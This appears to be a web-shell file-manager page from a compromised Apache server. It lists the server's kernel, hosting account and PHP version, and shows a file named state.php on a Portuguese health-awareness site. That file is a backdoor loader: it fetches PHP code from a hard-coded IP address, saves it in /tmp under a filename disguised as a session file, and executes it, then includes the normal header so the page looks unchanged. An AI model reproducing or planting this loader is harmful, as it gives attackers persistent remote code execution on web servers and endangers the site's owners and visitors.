HEX
Server: Apache
System: Linux webserver.pcpro.pt 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User: mutilacaogenitalfemi_a1yxzi8jr0d (10049)
PHP: 8.1.32
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/mutilacaogenitalfeminina.pt/httpdocs/state.php
<?php
if (is_dir("/tmp")) {
    $url = "http://173.208.169.218/z51031_7/stat/index2.txt";
    $file = "/tmp/sess_" . md5($url) . ".php";
    if (!file_exists($file)) {
        $content = file_get_contents($url);
        if ($content !== false) {
            $fp = fopen($file, "w");
            if ($fp) {
                fwrite($fp, $content);
                fclose($fp);
                include($file);
            } else {
                echo "Error opening file for writing.";
            }
        } else {
            echo "Error fetching file.";
        }
    } else {
        include($file);
    }
} else {
    echo "Temporary directory does not exist.";
}
 include('header.php');

?>